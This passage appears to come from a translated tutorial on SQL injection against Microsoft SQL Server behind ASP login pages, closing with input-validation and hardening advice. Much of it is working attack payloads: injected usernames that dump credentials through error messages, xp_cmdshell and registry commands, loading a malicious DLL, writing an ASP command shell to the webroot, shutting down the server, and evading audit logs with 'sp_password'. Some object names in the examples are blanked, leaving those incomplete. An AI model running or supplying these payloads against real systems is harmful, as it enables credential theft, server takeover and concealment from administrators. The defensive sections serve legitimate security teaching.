The attacker logs in with this 'username' (obviously all on the same line)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
This creates a table 'foo' that contains only a single column 'ret' and puts our string inside. Usually a low-privileged user can create a table in the sample database, or a temporary table.
Then the attacker chooses to query the string in the table, as mentioned earlier:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35
Then delete this table:
Username: '; drop table foo--
These examples simply unveil the mystery of this technology, and needless to say, if attackers can get rich error information from the database, their work will be greatly simplified.
[More in-depth visit]
Once an attacker has control over the database, they may want to gain more control over the network through these permissions, and there are many ways to achieve this:
1. Use xp_cmdshell to extend storage to execute commands on the database server as SQL-Server user
2. Use xp_regread extension to read the key value of the registry, including SAM (as long as SQL-Server is running as a local account)
3. Use other extended storage to change server settings
4. Execute query on the federated server
5. Create customer extended storage to run exploit within the SQL-Server process
6. Use the 'bulk insert' statement to read any file on the server
7. Create any text file on the server with bcp
8. Use sp_OACreate, sp_OAMethod and sp_OAGetProperty system stored procedures to create ActiveX objects to complete anything that an asp script can do
These are only part of common attack methods; attackers are likely to achieve their goals through other methods. We list these SQL-Server-related attack methods to illustrate what may happen if a program can be injected into SQL statements. We will give countermeasures for the above situations in turn.
[xp_cmdshell]
The essence of extended storage is compiled dynamic link libraries (DLLs), which run interface functions using the calling method specified by SQL-Server. They allow SQL-Server programs to have the same functions as c/c++, which is a very useful feature. SQL-Server has a large number of extended storage built-in, and has various functions such as sending mail and changing the registry.
xp_cmdshell is a built-in extended storage that allows execution of arbitrary command-line programs. For example:
exec master..xp_cmdshell 'dir'
A list of the working directory where the SQL-Server process is located will be obtained.
exec master..xp_cmdshell 'net1 user'
A list of host users will be provided. If SQL Server runs normally with a local 'system' account or a 'domain user' account, the attacker can cause more serious damage.
[xp_regread]
Another useful built-in extended storage is the xp_regXXX function
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Examples of usage of some of these functions:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(It determines whether the server's empty-connected sharing is available)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(It shows the SNMP common settings on all servers. With this information, the attacker can reconfigure the network settings in the same network area, because the SNMP common settings are rarely changed and are shared by many hosts)
You can imagine how an attacker uses these functions to read SAM files, change the system settings that are served after restarting, or run arbitrary commands the next time the user logs in.
[Other extended storage]
xp_servicecontrol extended storage allows users to start, stop, suspend or run services.
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
Here are some other useful extended storage tables:
xp_availablemedia Shows the available drives on the machine
xp_dirtree Gets a directory tree
xp_enumdsn Lists ODBC data sources on the server
xp_loginconfig displays the security status information of the server
xp_makecab allows users to create compressed files on the server (or any file that can be accessed by the server)
xp_ntsec_enumdomains Lists the domains that the server can access
xp_terminate_process ends a given PID process
[Federal Server]
SQL-Server provides a server federated mechanism, which allows querying on a database server to operate data from other servers. These federated settings are stored in the master..sysservers table. If a connected server uses the 'sp_addlinkedsrvlogin' stored procedure, an automatic login connection already exists, and the server can be accessed without logging in. The 'openquery' function allows queries to be executed on a federated server.
[User custom extended storage]
The API for extended storage is quite simple, and it is also quite easy to create an extended storage DLL with malicious code. There are many ways to upload DLLs to the server through the command line, and many other methods include various communication mechanisms to automatically implement, such as HTTP downloads and FTP scripts.
Once the DLL file appears on the server, SQL-Server can access it, this does not necessarily require the SQL-server itself. The attacker can add the extension storage through the following (here, our malicious extension storage is a small * used to operate the server's file system)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
Extended storage can be called through general methods:
exec xp_webserver
Once this extended storage has been executed, it can be deleted like this:
sp_dropextendedproc 'xp_webserver'
[Import text file to table]
Using the 'bulk insert' statement, you can insert the content of a text file into a temporary table. We simply create a table:
create table foo( line varchar(8000) )
Then execute bulk insert to insert the data from a file:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
You can get the data through the error information skills introduced above, or return the text data as the query data through a 'union' query. This is useful for getting scripts stored in the database, such as Asp scripts.
[Create text files using BCP]
It is very simple to create arbitrary text files using techniques that are opposite to 'bulk insert'. However, a command line tool 'bcp'('bulk copy program') is needed, because bcp accesses the database outside the SQL-Server process, it requires a login. But this is not difficult, because both attackers can create one; or if the server configuration uses the "integrity" security mode, the attacker can exploit it.
The command line format is as follows:
bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\ -c -Slocalhost -Usa -Pfoobar
The 'S' parameter is the server to run the query, the 'U' parameter is the user name, and the 'P' is the password, and the password here is 'foobar'.
[ActiveX automatic script in SQL-Server]
SQL-Server provides some built-in extended storage that allows the creation of ActiveX automatic scripts within SQL-Server. These scripts are functionally the same as scripts or asp scripts running on Windows scripting host (usually written in Javascript or Vbscript), scripts create automatic objects and make their effects through them. An automatic script written in Transact-SQL can do anything that any asp script or WSH script can do.
Here are some examples to illustrate:
1) This example uses the '' object to create an instance of notepad (of course, it can also be any command line command here)
-- example
declare @o int
exec sp_oacreate '', @o out
exec sp_oamethod @o, 'run', NULL, ''
In our example, you can use a username like this (all on the same line):
Username: '; declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run', NULL, ''--
2) This example uses the '' object to read a known text file:
-- example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate '', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) The following example creates an asp script to execute any command:
-- example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate '', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = (""): (("cmd") )%>'
It is important to note that for Windows NT4, IIS4 platform asp scripts will run with the 'system' account, while in IIS5 they will run with the low privilege IWAM_xxx account.
4) This example (slightly deceptive) illustrates the flexibility of this technology. It uses the ''(Translator's note: refer to the ms-help:///.2052/dnwui/html/msdn_texttosp.htm) object to make SQL Server speak:
declare @o int, @ret int
exec sp_oacreate '', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This can of course be used in our example, by specifying the following 'username' (note that the example not only injects a script, but also logs into the program as 'admin')
Username: admin';declare @o int, @ret int exec sp_oacreate '',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oaamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[Stored Procedure]
The traditional understanding is that if the ASP program uses stored procedures of the database system, then SQL injection is impossible. This sentence is not completely true, it depends on the way the ASP script calls stored procedures.
In essence, if a query with parameters is executed, the parameters provided by the user are safely passed to the query, and SQL injection is impossible. However, if an attacker can exert any influence on the query statement without the data part, they may still control the database.
A useful rule is:
1. If the ASP script creates an SQL query statement submitted to the server, it is easy to inject SQL even if it uses stored procedures.
2. If the ASP script uses a process object that encapsulates the passing parameters to the stored procedure (such as the ADO command object, used with the parameter set), it is usually safe, but it also depends on the execution of the object.
Obviously, it is best to get used to verifying all user input, as new attack technologies will continue to emerge.
To illustrate the injection of stored procedure query, run the following SQL statement:
sp_who '1' select * from sysobjects
or
sp_who '1' select * from sysobjects
Any additional statement can still be executed after the stored procedure is executed.
[Advanced Sql Injection]
An application usually filters single quotes, and on the other hand, limits user input, such as limiting length.
Here we will discuss some tips to bypass some obvious SQL injection prevention and length limitations.
[String without symbols]
Sometimes, developers may have protected applications by filtering single quotes, such as using VBScript's 'replace' function:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Admittedly, this will prevent all attacks on the sample site we gave above, and the removal of the ';' character will also work. However, some user inputs in a large program may be assumed to be numerical. These values have no limit and provide a lot of places to inject.
If an attacker wants to create a string value without quotation marks, they can use the 'char' function. For example:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
It is a query statement without quotes that insert characters into the table.
Of course, if the attacker uses a numerical username and password, the following statement can also be executed well:
insert into users values( 667,
123,
123,
0xffff)
Because SQL-Server automatically converts numerical types to 'varchar' type, type conversion is the default.
[SQL secondary injection]
Even if a program always filters single quotes, an attacker can still inject SQL into the database as data and then use it again by the program.
For example, an attacker might create a username by registering.
Username: admin'--
Password: password
The program correctly filters single quotes, and the 'insert' statement is as follows:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
We assume that the program allows the user to change the password, and the ASP script confirms that the user's old password is correct before setting the new password. The code may be written like this:
username = escape( ("username") );
oldpassword = escape( ("oldpassword") );
newpassword = escape( ("newpassword") );
var rso = ("");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
( sql, cn );
if ()
{
…
A query statement that sets a new password may be written like this:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username") is the username returned by the login query.
The user name is admin'--, and the above query becomes like this:
update users set password = 'password' where username = 'admin'--'
Therefore, attackers can change the admin password to their own by registering a user named admin'-.
This is a dangerous problem, and most large programs are currently trying to filter data. The best solution is to reject illegal input instead of simply changing it. This can sometimes cause some problems, and illegal characters are necessary in certain places, such as in the case of the signed name:
O'Brien
From a security perspective, the best solution is not to allow single quotes. If this does not work, they must be avoided. In this case, it is best to ensure that all characters to enter the SQL statement (including characters taken from the database) have been correctly processed.
Even so, an attack is still possible: if the attacker can insert data into the system without going through the program. For example, an attacker has an email interface or a database of error records that can be controlled. It is best to always verify all data, including the data in the system. Verifying function calls is simple, such as:
if ( not isValied( "email", ("emil") ) ) then
Or other methods
[Length Limit]
Sometimes input limits the length of the data to make attacks much more difficult, which does prevent some attacks, but a very short SQL statement can also cause very great harm:
Username: ';shutdown--
Only 12 characters were used to close SQL-Server. Another example:
drop table <tablename>
Another problem may occur if the length limit is after string filtering. Assuming that the user name is limited to 16 characters and the password is also limited to 16 characters, the following user name and password can be combined with the 'shutdown' command:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
The reason is that the program filters the single quotes at the end of the username, but the string is cut back to 16 characters, removing the filtered single quotes. The result is that the password domain can contain some SQL, and as long as it starts with a single quote, the final query will become like this:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
The username becomes:
aaaaaaaaaaaaaaa' and password='
The attached SQL is executed.
[Overse review]
SQL Server's functions in sp_traceXXX series contain rich audit interfaces, which can record events in any database. Here we are particularly interested in the T-SQL event, which records all SQL statements and ready and running batches on the server. If this level of audit is enabled, all the injections we discussed will be recorded to be recorded with an experienced database administrator who will see everything that is happening. But if the attacker appends the following characters:
sp_password
Go to a Transact-SQL statement, the audit record is as follows:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
This happens when all T-SQL logging is recorded, even if 'sp_password' appears in the comments. This is of course intentionally hiding the user's plaintext password when the user passes sp_password, but it is quite useful for attackers.
So, in order to hide all injection attackers, you only need to add a string after the comment '--':
Username: admin'--sp_password
In fact, some executed SQL will be recorded, but the query string itself is forced not to be recorded.
[Prevention]
This section discusses some precautions against these attacks. Input verification has been discussed, and some codes have been given. Later, we will study SQL-Server prevention issues.
[Input Verification]
Input verification is a very complicated problem. Generally, it is rarely noticed in a development project, because excessive verification often causes a part of a program to be interrupted, so input verification is a difficult problem. Input verification is often not added to the program's functions, so people will not be noticed when the construction period is approaching and the program is rushing.
The following is a simple discussion about verification with sample code. Of course, this sample code cannot be used directly in the program, but it can well explain different strategies.
Various data verification methods can be classified into the following:
1) Organize the data to make it effective
2) Reject known illegal input
3) Accept only known legal input
Method 1 has many conceptual problems; first of all, it is not necessary for developers to know what illegal data consists of, because new forms of illegal data can be generated at any time. Second, changing the data will change its length, which will lead to the problems mentioned above. Finally, there is also the problem of secondary injection if the system has existing data.
Solution 2 will also encounter some similar problems with 1. Understanding illegal data will be outdated because new attack technologies are also developing.
Solution 3 may be the best of the three methods, but it is more difficult to implement.
From a security perspective, it may be the best solution to do this is to combine solutions 2 and 3 to allow only legitimate inputs and then look for illegal characters.
An example of having to combine these two pathways is the problem of names with hyphen:
Question Bassington-Bassington
We must allow hyphens in legal input, but also understand what the string '--' means in SQL-Server.
Another problem occurs when data collation combines illegal character verification. Suppose we use the "illegal character detector" to detect '--', 'select' and 'union'" and use the "data sorting filter" to delete the single quotes, and the attacker can specify such input:
uni'on sel'ect @@version-'-
Because single quotes are removed by the filter, an attacker can evade checking by scattering single quotes in its known illegal string.
Here are some verification codes:
Method 1 - Dodge single quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Method 2 - Resist known illegal input
function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function
Method 3 - Only legal input is allowed
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
[SQL Server Defense]
The most important thing is to prevent SQLServer, 'out of the box' is not safe. Here is a brief list of what to do when creating a SQL-Server architecture:
1. Decide how to connect to the server
a. Use 'Network utility' to verify that the network library you are using is available
2. Check which accounts exist
a. Create a low-privileged account for the program
b. Delete unwanted accounts
c. Make sure all accounts have a robust password; run a password audit script normally (such as one provided in the appendix).
3. Check which objects exist
a. Many extended storage can be safely deleted, if these have been considered to delete some dlls containing extended storage
b. Delete all database instances - such as 'northwind' and 'pubs' databases
4. Check which accounts can access objects
a. The account used by the application user to access the database should only have the minimum access to the required objects
5. Check the server's patch status
a. There are some buffer overflows [3], [4] and format string [5] attacks against SQL-Server (mostly discovered by the author himself) and some other security patches, and there may be more vulnerabilities.
6. Check what log records and what logs can do
An excellent precaution list is already available (references [2]).